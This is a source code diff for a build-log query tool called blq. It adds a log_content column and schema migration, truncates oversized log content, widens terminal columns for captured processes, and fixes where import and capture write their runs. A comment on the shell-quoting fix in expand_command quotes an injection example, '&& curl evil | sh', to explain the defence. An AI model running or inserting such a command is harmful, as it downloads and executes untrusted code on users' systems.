- "SELECT 1 FROM information_schema.columns "
541
- f"WHERE table_name = '{table}' AND column_name = 'extension_data'"
542
- ).fetchone()
543
- if not has:
566
+ for table, required in REQUIRED_COLUMNS.items():
567
+ for column in required:
568
+ try:
569
+ has = conn.execute(
570
+ "SELECT 1 FROM information_schema.columns "
571
+ f"WHERE table_name = '{table}' AND column_name = '{column}'"
572
+ ).fetchone()
573
+ if not has:
574
+ return True
575
+ except duckdb.Error:
544
576
  return True
545
- except duckdb.Error:
546
- return True
547
577
  return False
548
578
 
549
579
  @staticmethod
@@ -553,8 +583,7 @@ class BirdStore:
553
583
  to recreate them."""
554
584
  try:
555
585
  views = conn.execute(
556
- "SELECT table_name FROM information_schema.tables "
557
- "WHERE table_type = 'VIEW'"
586
+ "SELECT table_name FROM information_schema.tables WHERE table_type = 'VIEW'"
558
587
  ).fetchall()
559
588
  except duckdb.Error:
560
589
  return
@@ -566,19 +595,19 @@ class BirdStore:
566
595
 
567
596
  @classmethod
568
597
  def _reconcile_schema(cls, conn: duckdb.DuckDBPyConnection) -> None:
569
- """Version-independent self-heal: ensure `extension_data` exists on
570
- attempts and invocations even if a past migration failed silently (blocked
571
- by dependent views) and the schema version advanced past it. Views must
572
- already be dropped by the caller so the ALTER/RENAME can proceed.
573
-
574
- Uses ADD COLUMN + data copy, NOT rename: RENAME COLUMN on these tables is
575
- blocked by non-view dependencies (FKs/constraints) that persist even after
576
- dropping views, whereas ADD COLUMN is never blocked. Existing `sandbox`
577
- data (from the 2.3 migration) is copied into the new column wrapped as
578
- {"sandbox": ...}; the now-redundant `sandbox` column is left in place
579
- (harmless, and DROP COLUMN hits the same dependency wall).
598
+ """Version-independent self-heal: ensure every column in REQUIRED_COLUMNS
599
+ exists, even if the migration that should have added it failed silently
600
+ (blocked by dependent views) and the schema version advanced past it.
601
+ Views must already be dropped by the caller so the ALTER can proceed.
602
+
603
+ Uses ADD COLUMN, NOT rename: RENAME COLUMN on these tables is blocked by
604
+ non-view dependencies (FKs/constraints) that persist even after dropping
605
+ views, whereas ADD COLUMN is never blocked. For `extension_data`,
606
+ existing `sandbox` data (from the 2.3 migration) is copied into the new
607
+ column wrapped as {"sandbox": ...}; the now-redundant `sandbox` column is
608
+ left in place (harmless, and DROP COLUMN hits the same dependency wall).
580
609
  """
581
- for table in ("attempts", "invocations"):
610
+ for table, required in REQUIRED_COLUMNS.items():
582
611
  try:
583
612
  cols = {
584
613
  r[0]
@@ -587,21 +616,26 @@ class BirdStore:
587
616
  f"WHERE table_name = '{table}'"
588
617
  ).fetchall()
589
618
  }
590
- if "extension_data" in cols:
591
- continue
592
- conn.execute(f"ALTER TABLE {table} ADD COLUMN extension_data JSON")
593
- if "sandbox" in cols:
594
- conn.execute(
595
- f"UPDATE {table} SET extension_data = "
596
- f"json_object('sandbox', sandbox) WHERE sandbox IS NOT NULL"
597
- )
598
- logger.info(
599
- f"Repaired {table}: added extension_data (copied sandbox data)"
600
- )
601
- else:
602
- logger.info(f"Repaired {table}: added extension_data")
603
619
  except duckdb.Error as e:
604
620
  logger.warning(f"Schema reconcile warning ({table}): {e}")
621
+ continue
622
+ if not cols:
623
+ continue # table doesn't exist yet; the schema file will create it
624
+ for column, column_type in required.items():
625
+ if column in cols:
626
+ continue
627
+ try:
628
+ conn.execute(f"ALTER TABLE {table} ADD COLUMN {column} {column_type}")
629
+ if column == "extension_data" and "sandbox" in cols:
630
+ conn.execute(
631
+ f"UPDATE {table} SET extension_data = "
632
+ f"json_object('sandbox', sandbox) WHERE sandbox IS NOT NULL"
633
+ )
634
+ logger.info(f"Repaired {table}: added extension_data (copied sandbox data)")
635
+ else:
636
+ logger.info(f"Repaired {table}: added {column}")
637
+ except duckdb.Error as e:
638
+ logger.warning(f"Schema reconcile warning ({table}.{column}): {e}")
605
639
 
606
640
  @classmethod
607
641
  def _apply_migrations(cls, conn: duckdb.DuckDBPyConnection, current_version: str) -> None:
@@ -671,6 +705,16 @@ class BirdStore:
671
705
  conn.execute("UPDATE blq_metadata SET value = '3.0.0' WHERE key = 'schema_version'")
672
706
  logger.info("Migration: Updated schema version to 3.0.0 (BIRD directory)")
673
707
 
708
+ # Migration: 3.0.0 -> 3.1.0 (add events.log_content — duck_hunt's raw
709
+ # block for the event, previously received and dropped; see #52).
710
+ # _reconcile_schema does the ADD COLUMN and is idempotent, so it also
711
+ # covers a DB whose version advanced without the column landing.
712
+ if (major, minor) < (3, 1):
713
+ cls._reconcile_schema(conn)
714
+ migrations_applied = True
715
+ conn.execute("UPDATE blq_metadata SET value = '3.1.0' WHERE key = 'schema_version'")
716
+ logger.info("Migration: Added log_content column to events table")
717
+
674
718
  # If migrations were applied, reload views/macros to pick up new columns
675
719
  if migrations_applied:
676
720
  cls._reload_views_and_macros(conn)
@@ -1583,6 +1627,10 @@ class BirdStore:
1583
1627
  if not events:
1584
1628
  return 0
1585
1629
 
1630
+ # Local import: core imports nothing from bird at module scope, and this
1631
+ # mirrors the existing lazy-import pattern used elsewhere in this module.
1632
+ from blq.commands.core import truncate_log_content
1633
+
1586
1634
  date = datetime.now().strftime("%Y-%m-%d")
1587
1635
 
1588
1636
  for idx, event in enumerate(events):
@@ -1594,10 +1642,10 @@ class BirdStore:
1594
1642
  id, invocation_id, event_index, client_id, hostname,
1595
1643
  event_type, severity, ref_file, ref_line, ref_column,
1596
1644
  message, code, rule, tool_name, category, test_name,
1597
- fingerprint, log_line_start, log_line_end, context,
1598
- metadata, format_used, date
1645
+ fingerprint, log_line_start, log_line_end, log_content,
1646
+ context, metadata, format_used, date
1599
1647
  )
1600
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
1648
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
1601
1649
  """,
1602
1650
  [
1603
1651
  event_id,
@@ -1619,6 +1667,7 @@ class BirdStore:
1619
1667
  event.get("fingerprint"),
1620
1668
  event.get("log_line_start"),
1621
1669
  event.get("log_line_end"),
1670
+ truncate_log_content(event.get("log_content")),
1622
1671
  event.get("context"),
1623
1672
  json.dumps(event.get("metadata")) if event.get("metadata") else None,
1624
1673
  format_used,
@@ -26,7 +26,8 @@ CREATE TABLE IF NOT EXISTS blq_metadata (
26
26
  );
27
27
 
28
28
  -- Insert schema version (ignore if exists)
29
- INSERT OR IGNORE INTO blq_metadata VALUES ('schema_version', '3.0.0');
29
+ -- Keep in sync with SCHEMA_VERSION in bird.py (migrations key off it)
30
+ INSERT OR IGNORE INTO blq_metadata VALUES ('schema_version', '3.1.0');
30
31
  INSERT OR IGNORE INTO blq_metadata VALUES ('storage_mode', 'duckdb');
31
32
 
32
33
  -- Base path for blob storage (set at runtime)
@@ -230,6 +231,7 @@ CREATE TABLE IF NOT EXISTS events (
230
231
  fingerprint VARCHAR, -- Unique identifier for dedup
231
232
  log_line_start INTEGER, -- Start line in raw log
232
233
  log_line_end INTEGER, -- End line in raw log
234
+ log_content VARCHAR, -- Raw log block for this event (duck_hunt log_content)
233
235
  context VARCHAR, -- Surrounding context
234
236
  metadata JSON, -- Format-specific extras
235
237
 
@@ -344,6 +346,7 @@ SELECT
344
346
  e.fingerprint,
345
347
  e.log_line_start,
346
348
  e.log_line_end,
349
+ e.log_content,
347
350
  e.context,
348
351
  e.metadata,
349
352
 
@@ -11,6 +11,7 @@ import json
11
11
  import logging
12
12
  import os
13
13
  import re
14
+ import shlex
14
15
  import shutil
15
16
  import subprocess
16
17
  import sys
@@ -1320,15 +1321,21 @@ def expand_command(
1320
1321
  raise ValueError(f"Missing required argument '{placeholder.name}'")
1321
1322
 
1322
1323
  # Substitute placeholders in template
1324
+ # The expanded string is run with shell=True, so every value that comes from
1325
+ # a caller (placeholder values and passthrough/extra args) is shell-quoted to
1326
+ # prevent injection (e.g. `&& curl evil | sh`). The template itself is trusted
1327
+ # (defined at registration) and is left intact so it may carry intentional
1328
+ # shell syntax. Note: a placeholder value is now a single shell token — a
1329
+ # value like "-k foo" no longer splits into two arguments.
1323
1330
  result = template
1324
1331
  for match in _PLACEHOLDER_PATTERN.finditer(template):
1325
1332
  name = match.group(1)
1326
- result = result.replace(match.group(0), values[name], 1)
1333
+ result = result.replace(match.group(0), shlex.quote(values[name]), 1)
1327
1334
 
1328
- # Append extra args
1335
+ # Append extra args (each quoted so passthrough args stay literal argv tokens)
1329
1336
  all_extra = remaining_positional + (extra_args or [])
1330
1337
  if all_extra:
1331
- result = result + " " + " ".join(all_extra)
1338
+ result = result + " " + " ".join(shlex.quote(arg) for arg in all_extra)
1332
1339
 
1333
1340
  return result
1334
1341
 
@@ -1860,6 +1867,37 @@ def get_next_run_id(lq_dir: Path) -> int:
1860
1867
  return max_id + 1 if max_id > 0 else 1
1861
1868
 
1862
1869
 
1870
+ # ============================================================================
1871
+ # Event content
1872
+ # ============================================================================
1873
+
1874
+ # Cap on the stored `log_content` (duck_hunt's raw block for an event, e.g. the
1875
+ # whole pytest FAILURES block). It is bounded in practice — the block, not the
1876
+ # log — but not in principle: a parser that spans a large region, or a test that
1877
+ # dumps a large diff, can produce a very big value, and every event of a run
1878
+ # would carry its own copy. 32K is well above any realistic traceback while
1879
+ # keeping a pathological run from bloating storage.
1880
+ LOG_CONTENT_MAX_CHARS = 32_768
1881
+
1882
+
1883
+ def truncate_log_content(value: str | None, max_chars: int = LOG_CONTENT_MAX_CHARS) -> str | None:
1884
+ """Cap `log_content`, making any truncation visible in the value itself.
1885
+
1886
+ Silent shortening has bitten this codebase before, so an over-long value
1887
+ keeps its head and gains a marker stating what was kept and what existed:
1888
+
1889
+ ... [blq: log_content truncated to 32768 of 91234 chars]
1890
+
1891
+ Values at or under the cap are returned unchanged (including None/"").
1892
+ """
1893
+ if not value or len(value) <= max_chars:
1894
+ return value
1895
+ return (
1896
+ value[:max_chars]
1897
+ + f"\n... [blq: log_content truncated to {max_chars} of {len(value)} chars]"
1898
+ )
1899
+
1900
+
1863
1901
  # ============================================================================
1864
1902
  # Parquet Writing
1865
1903
  # ============================================================================
@@ -1901,7 +1939,11 @@ PARQUET_SCHEMA = [
1901
1939
  ("ref_column", "BIGINT"),
1902
1940
  # Content
1903
1941
  ("message", "VARCHAR"),
1904
- ("raw_text", "VARCHAR"),
1942
+ # duck_hunt's raw block for this event (e.g. the whole pytest FAILURES
1943
+ # block). Replaces the vestigial `raw_text`, which nothing ever populated —
1944
+ # duck_hunt's field has been named log_content since its Schema V3
1945
+ # (see docs/design/duck-hunt-v3-migration.md).
1946
+ ("log_content", "VARCHAR"),
1905
1947
  # Classification
1906
1948
  ("tool_name", "VARCHAR"),
1907
1949
  ("category", "VARCHAR"),
@@ -1974,6 +2016,8 @@ def write_run_parquet(
1974
2016
  for event in events or [{}]:
1975
2017
  # Merge run metadata and event data
1976
2018
  merged = {**run_meta, **event}
2019
+ if merged.get("log_content"):
2020
+ merged["log_content"] = truncate_log_content(merged["log_content"])
1977
2021
  # Build row with all columns in schema order
1978
2022
  vals = []
1979
2023
  for col in PARQUET_SCHEMA_COLUMNS:
@@ -45,7 +45,7 @@ from blq.commands.core import (
45
45
  parse_log_content,
46
46
  write_run_parquet,
47
47
  )
48
- from blq.ext import CommandSpec
48
+ from blq.ext import CommandSpec, capture_env
49
49
  from blq.ext.discovery import load_extensions, order_extensions
50
50
  from blq.ext.local_executor import LocalExecutor
51
51
  from blq.ext.pipeline import run_pipeline
@@ -772,6 +772,7 @@ def _execute_command(
772
772
  stderr=subprocess.STDOUT,
773
773
  text=True,
774
774
  start_new_session=True,
775
+ env=capture_env(),
775
776
  )
776
777
 
777
778
  output_lines: list[str] = []
@@ -1137,6 +1138,7 @@ def _run_no_capture(command: str, quiet: bool = False) -> int:
1137
1138
  stderr=subprocess.STDOUT,
1138
1139
  text=True,
1139
1140
  start_new_session=True,
1141
+ env=capture_env(),
1140
1142
  )
1141
1143
 
1142
1144
  assert process.stdout is not None # stdout=PIPE ensures this
@@ -1559,6 +1561,39 @@ def cmd_exec(args: argparse.Namespace) -> None:
1559
1561
  sys.exit(result.exit_code)
1560
1562
 
1561
1563
 
1564
+ def _write_imported_run(
1565
+ events: list[dict[str, Any]],
1566
+ run_meta: dict[str, Any],
1567
+ config: "BlqConfig",
1568
+ lq_dir: Path,
1569
+ ) -> Path:
1570
+ """Persist an imported/captured run to the ACTIVE storage backend.
1571
+
1572
+ `import` and `capture` used to call `write_run_parquet` unconditionally,
1573
+ while `exec`/`run` branch on `config.use_bird`. BIRD is the default storage
1574
+ mode, so on a default project those two commands wrote a well-formed
1575
+ parquet under `.bird/logs/` that the query layer — a view over the BIRD
1576
+ tables — never reads:
1577
+
1578
+ $ blq import report.json --format pytest_json
1579
+ Imported 2 events (2 errors, 0 warnings)
1580
+ Saved to .bird/logs/date=.../source=import/001_report.parquet
1581
+ $ blq events
1582
+ (no data)
1583
+
1584
+ Success, a destination path, exit 0, a real file, and nothing observable.
1585
+ The branch was added to the exec path and never to these two.
1586
+
1587
+ Raw output is deliberately not stored here: neither command previously
1588
+ retained it, and this function is fixing where events land, not what else
1589
+ gets kept.
1590
+ """
1591
+ if config.use_bird:
1592
+ _invocation_id, db_path = write_bird_invocation(events, run_meta, lq_dir)
1593
+ return db_path
1594
+ return write_run_parquet(events, run_meta, lq_dir)
1595
+
1596
+
1562
1597
  def cmd_import(args: argparse.Namespace) -> None:
1563
1598
  """Import an existing log file."""
1564
1599
  config = BlqConfig.ensure()
@@ -1587,7 +1622,7 @@ def cmd_import(args: argparse.Namespace) -> None:
1587
1622
  "exit_code": 0,
1588
1623
  }
1589
1624
 
1590
- outpath = write_run_parquet(events, run_meta, lq_dir)
1625
+ outpath = _write_imported_run(events, run_meta, config, lq_dir)
1591
1626
 
1592
1627
  errors = sum(1 for e in events if e.get("severity") == "error")
1593
1628
  warnings = sum(1 for e in events if e.get("severity") == "warning")
@@ -1620,7 +1655,7 @@ def cmd_capture(args: argparse.Namespace) -> None:
1620
1655
  "exit_code": 0,
1621
1656
  }
1622
1657
 
1623
- outpath = write_run_parquet(events, run_meta, lq_dir)
1658
+ outpath = _write_imported_run(events, run_meta, config, lq_dir)
1624
1659
 
1625
1660
  errors = sum(1 for e in events if e.get("severity") == "error")
1626
1661
  warnings = sum(1 for e in events if e.get("severity") == "warning")
@@ -196,6 +196,7 @@ def _migrate_parquet_to_bird(
196
196
  "fingerprint": event.get("fingerprint"),
197
197
  "log_line_start": event.get("log_line_start"),
198
198
  "log_line_end": event.get("log_line_end"),
199
+ "log_content": event.get("log_content"),
199
200
  }
200
201
  )
201
202
 
@@ -11,6 +11,8 @@ from datetime import datetime
11
11
  from pathlib import Path
12
12
  from typing import Any, Protocol
13
13
 
14
+ import os
15
+
14
16
 
15
17
  @dataclass
16
18
  class CommandSpec:
@@ -83,3 +85,32 @@ class Executor(Protocol):
83
85
  name: str
84
86
 
85
87
  def execute(self, spec: CommandSpec) -> ExecutionResult: ...
88
+
89
+
90
+ #: Terminal width presented to captured child processes. Wide enough that the
91
+ #: tools we parse stop abbreviating; not so wide that a tool wrapping to it
92
+ #: produces unreadable raw logs.
93
+ CAPTURE_COLUMNS = 200
94
+
95
+
96
+ def capture_env(base: dict[str, str] | None = None) -> dict[str, str]:
97
+ """Environment for a captured child process.
98
+
99
+ Anything that formats for a terminal consults COLUMNS (or an ioctl) and
100
+ falls back to 80 columns when there is no TTY — which is always, under a
101
+ capturing runner. `pytest -q` abbreviates its short-summary line on that
102
+ basis, and since blq parses that line, the stored message loses everything
103
+ past roughly 80 columns minus the length of the test name:
104
+
105
+ 73-char test name -> 7 characters survive ('asse...')
106
+ 35-char test name -> 45 characters survive, nothing is lost
107
+
108
+ So how diagnosable a failure was depended on how long someone had named
109
+ the test. Presenting a wide COLUMNS fixes the whole class at the point of
110
+ capture — no parser can recover text the tool never printed.
111
+
112
+ An explicit COLUMNS from the caller wins: someone who set it meant it.
113
+ """
114
+ env = dict(os.environ if base is None else base)
115
+ env.setdefault("COLUMNS", str(CAPTURE_COLUMNS))
116
+ return env
@@ -14,7 +14,7 @@ from datetime import datetime
14
14
  from pathlib import Path
15
15
  from types import FrameType
16
16
 
17
- from blq.ext import CommandSpec, ExecutionResult
17
+ from blq.ext import CommandSpec, ExecutionResult, capture_env
18
18
 
19
19
  logger = logging.getLogger("blq-ext")
20
20
 
@@ -78,7 +78,9 @@ class LocalExecutor:
78
78
  signal.signal(signal.SIGINT, _cleanup)
79
79
  signal.signal(signal.SIGTERM, _cleanup)
80
80
 
81
- run_env = {**os.environ, **spec.env} if spec.env else None
81
+ # Always via capture_env: a captured child has no TTY, so
82
+ # terminal-formatting tools self-truncate at 80 columns.
83
+ run_env = capture_env({**os.environ, **spec.env} if spec.env else None)
82
84
  process = subprocess.Popen(
83
85
  spec.command,
84
86
  shell=True,